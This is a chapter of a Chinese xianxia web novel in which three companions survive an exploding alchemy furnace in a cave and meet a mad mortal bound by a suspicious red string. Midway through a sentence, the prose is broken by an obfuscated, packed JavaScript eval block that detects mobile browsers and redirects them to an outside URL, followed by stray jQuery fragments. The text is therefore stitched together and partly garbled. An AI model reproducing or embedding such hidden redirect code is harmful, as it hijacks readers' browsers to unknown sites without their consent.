“我就知道,你不会让我掉下去。”
两人互握住手腕,奚霁寒身子一沉,察觉脚下伞骨破损,抽过他的剑刃,带人飞上地面。
“不要命啦?你是疯子吗!?”
“你不是也想我死吗?”尧殇却脱力坐着,像真生死看淡,直至奚霁寒将剑丢在他身侧,反倒看着她痴痴笑,“我死了,你再也不必瞧见我,我更是如愿以偿天天做鬼缠着你,一箭双雕。”
“你……真是……”奚霁寒忽觉被他戏耍,心里憋了口气,想说让他去死,自己跳下去,几个急促的喘息后又觉有违自己道心,气着干瞪他良久,最后自己气不过,踹了他脚转身就走。
“自作孽,不可活。”
洛青霄看她走得急,袖口一晃又一晃,莫名讨喜,噗嗤一笑跟了上去,“生气啦?”
“他自己不想活,一早便别浪费我那么多丹药……也是,自己能服毒的人,我能指望他如何惜命?”
“你还懂药理?!”她捂嘴惊讶,“外面当真有好东西……不对,妙人!那狗屁神音阁我是半刻都不想待了。”
“别生气了,我想活,医仙姐姐看我呀,我好想进步呀!你有没有什么增长修为的丹药,或者,美颜丹?生发丹?!都给我!我出钱!待我突破大乘,拳打道侣脚踢阁主,就给你封个大长老玩玩!”
“别闹!我……我不会炼丹!”不知触到了什么霉头,奚霁寒突然跟她急眼。
洛青霄见她说完,气势忽弱,更还挤弄眉头,悄悄委屈。洛青霄只得识趣闭嘴,转头又见再度跟来的凡人,忍不住又对奚霁寒道,“干嘛为个男人生气,别心疼了,凡人寿数短暂,救活了也好看不了几天。开心些,待此事了结,我给你介绍个更好的。”
“喂!”尧殇忍无可忍,剑柄一下戳在洛青霄背脊上,“你没完没了了是吧?闭嘴行吗?”
“你跟我道谢,再道个歉,我就闭嘴。”
“呵,真是幼稚。”尧殇冷笑,“道谢也行,不过你确定要我跟你道歉?有趣,你还是第一个,敢这么跟我说话的人……”
“那可真是委屈你了,殿下。”奚霁寒寡淡呛他一句,便再没理他。
尧殇:“……”
火药味重了又淡,最终,再没言语。微弱的光晕下,三人谨慎前行,直至深入洞穴内部,这才松懈了些许。
“奇怪了。”洛青霄拍了拍不动的平安锁,终是将其握回手中,“好热,这都走到底了,也没见着人啊。“
“术法真烂。”尧殇满不在乎,调笑,“你若不跟我抢,这人早就寻到了。”
洞穴深处的岩壁,似有人为修理,挂了烛灯,昏暗,却也瞧得清里头的宽敞。
“别吵。”奚霁寒轻声叫停,见人没再吵了,又小心上前。
这洞穴宽敞不假,却在里头置办了个巨大的物件。
丹炉。
内里依旧燃着火光,忽明忽暗。此处洞穴过深,热气不散,这个丹炉的状况也极为不稳定。
“这里居然有个丹炉,怎么也没人看着……”
洛青霄话头刚落,扑面又是阵阵热浪,耳边滋啦声不断作响。
奚霁寒下意识退后,又忽而挡住两人前进的步子:
“快走!要炸了!”
不若尧殇见怪不怪那般淡然,洛青霄反应终归慢了半拍,发愣之际被奚霁寒拉着往回跑。
几声砰隆巨响,中央爆发的热气近乎将几人淹没,奚霁寒一把将人推进隧道,热流与丹炉碎渣飞扑之际,快速凝剑抵挡。
飞渣并未将她伤倒,反倒是一个黑乎乎的人影,挡在剑跟前,奚霁寒剑气一散,被一把扑在地上。
“没事吧?”尧殇声色沉沉关心道。
“……有病。”奚霁寒小声骂道。
分明能轻易挡下那些碎渣,他也只需躲在她身后。
“我……”
“你是觉得我实力不如往昔,这点东西都挡不下来?”
“不是,我只是不想你受伤啊。”尧殇静静与之对望,下意识紧了紧手里没有温度的躯壳,自两人间,莫名生起些许难言的情绪。
“我……知道你是天才。但…我真的会害怕,怕你再消失啊。”
奚霁寒怔愣看他垂下眸,良久,自己也扭开视线,“……你就是故意的。”
“哈哈,好感动哦。”洛青霄被炸得一懵,这刚清醒着扶墙爬起,竟见两人纠缠在一处,气氛已然容不下她这第三人,于是乎,她打了个哈哈,双手指尖交错,和在胸前,给两人展示着尴尬一笑,“嗯…先祝福你们,其次,我也真的不想打扰,但,呃…手这样……真的不会和我一样,有点浑身不自在嘛?”
像在梦境中惊醒,奚霁寒合了合指尖,这才察觉到异样。收回于其扣在一处的手,又一把将人掀开。
“霁寒,我……”
啪,打断他的是一个巴掌,尧殇歪了脸,知她羞怒于自己的越界。就在身侧,奚霁寒极力压抑着喘息,望着他,斩钉截铁道:“不可能,在你解释清楚之前,我都不会原谅你!”
话没说明,但也清晰到两人都知晓的程度。
“我没有…怎么可能……”尧殇坐起身,却没能直视她的眼睛,“我怎么可能那么做……”
“什么意思?”奚霁寒听他低语,自然察觉有异,想要再问,还是凑到跟前,等他开口。
”……我,不可能。“
“……什么不可能?”
“你说啊!”
奚霁寒不明白他在考量什么,为什么像在躲她。
尧殇在她这儿,确实是特别的。过去被赶下山的日子,对她而言,是两个孤零零,无家可归的人互相依偎温暖。十五岁的他,不懂与同龄孩童交道,却总能细致精准察觉她将自己缩进屋子的情绪,在每个冬日的早晨,折一只寒梅置于她的窗前。
过了冬日,还有春天。梅香不再,却有不知何处寻来的樱花,又或路边的桔梗与木槿。只要看得上,尧殇都会想法子带回去哄她开心。年复一年。
奚霁寒自认性子软,对这个跟她长大的孩子,更对自己的同门,和世人。
关于自己的死,自她醒来,思来想去好多日夜,无论怎样,都觉尧殇没有理由背叛自己。就算是她不知的理由,将她穿心致死,只要尧殇愿意骗,看在十年的相伴与情谊,奚霁寒大概都会信,然后原谅。她会随时间消磨,将心口的疤痕淡忘,直至释怀,彻底将尧殇放下。
可他却如此模样,不掩盖此事与她的关系,更是连骗她,都不愿一骗。
奚霁寒难免失望,“你若是想清楚了,便将转移伤害的术法解了,你以后,也不要来找我。”
“…你还是在生气。”十年过去,尧殇已然很少再去在意旁人的情绪,此刻尝试着,反不如十多年前那般能猜透她的所思所想,纠结良久,问道,“如果答案过分荒唐,你听完我的解释,还会愿意同我说话吗?”
奚霁寒闻言,有了其他猜想。转而又见他起身时跌跌撞撞,被方才炸开的碎片扎了腿肚,奚霁寒蹲下身子,将那渣裂的丹炉碎渣拔出,又用灵力为其止血包扎。抬眼,洞穴深
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861083|176028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处丹炉的残骸里,一个影子在视线中晃动。
“以后再说吧。”
奚霁寒只道是那走失的疯妇,走近了瞧,却是个陌生不曾见过的轮廓。
那人恍惚撑起身,佝着腰揉揉额间,声色迷茫望着眼前的一切:
“啊……我睡着了吗?”
“这都能睡着?”洛青霄听闻无奈一笑,竟是什么拍了拍一边的尧殇,“人才啊。”
“这话……”尧殇神色复杂望了眼前去查看的背影,用只有身侧洛青霄听得见的声音道,“怎么感觉……在哪儿听过?”
“哈?你说谁?”洛青霄随他先前看去,问道,“你的意思是说……”
尧殇又拿剑柄戳她,小声又道:“闭嘴,别问……”
“你们是何人啊?”那男人这才算神智清醒些,摸爬着急忙与上前的奚霁寒拉开距离,“你们是如何进本仙洞府的?”
“洞府?”
“我……吾乃掉下来的红线仙,我,洞府,这是吾洞府……”男人正正身子,“出去,谁允许你们来此处的,出去!”
蓬头垢面,称谓也混乱。奚霁寒粗略将人打量个遍,他的衣衫不知已有多久不曾清理,除了腐朽之气,更是察觉不出半分灵力来。
岁数不大,分明就是个普通凡者。
“无意冒犯,不知道友可曾见过一位妇人?”
“没见过,本仙没见过……”男人抬手开始赶人,“出去,炼丹,别打扰我修仙。”
那手在奚霁寒眼前晃了晃,手上一抹暗红落入眼底,奚霁寒视线紧随,在他推搡数次后,一把将他臂弯拽进手里。
“滚出去啊!谁啊你?”
男人恼怒大吼抽手,尧殇脸色阴沉,拔了剑要去砍人。奚霁寒却愣了神,抓着男人手腕迟迟没松手。
他的手上,系了根更为破损的红绳。
尧殇凑近,默默在奚霁寒身侧,又在他俩瞧不见的地方,紧了紧手中之刃。
这一看不知如何,待奚霁寒抬手去触男人腕骨间,尧殇的视线随后落上,瞬息间,脸色莫变。
奚霁寒问道:”先生可曾中过秀才?“
“别碰我!"
男人觉得莫名其妙,嘴中咒骂不断。可这刚甩开一个怪人,另一个怪人不顾他反抗,更为粗暴将他的手腕死攥在手里。
尧殇侧头问奚霁寒:“这是什么?”
“别碰……”奚霁寒警告道,“这红绳有异。”
“我知道。”说罢,尧殇收好剑,便是要上手去拿。
“你知道才有鬼。”奚霁寒急了,啪嗒拍在人手背上,“上头气息不对,有问题,别碰。”
尧殇抓着男人颤着发笑:“跟你那条一模一样,能没问题嘛?!”
尧殇拿出被随意丢给他的红绳,置于男人手边,“若是去过月老庙,是不是都会求上两根?”
它们模子一样,从时间上看,一样陈旧……
尧殇说不出来,他不是修士,不能同奚霁寒一般,感受到上头刻意留下的灵力,还有那熟悉却扭曲病态的气息。
尽管她自己不记得对其注入过什么灵力,但直觉隐约告诉她,眼前这人,便是前些年疯掉的秀才,而这根红绳,多少与他的疯病脱不开关系。
一丝疯魔的念头在奚霁寒脑中一闪而过,恍惚一瞬,她似乎又瞧见了奚霁寒勾着唇对她笑。
奚霁寒恍神,张张口,低声念叨,“……心魔。”
“什么心魔?”尧殇下意识问道,“你不是修无情道的吗?哪儿来的心魔?”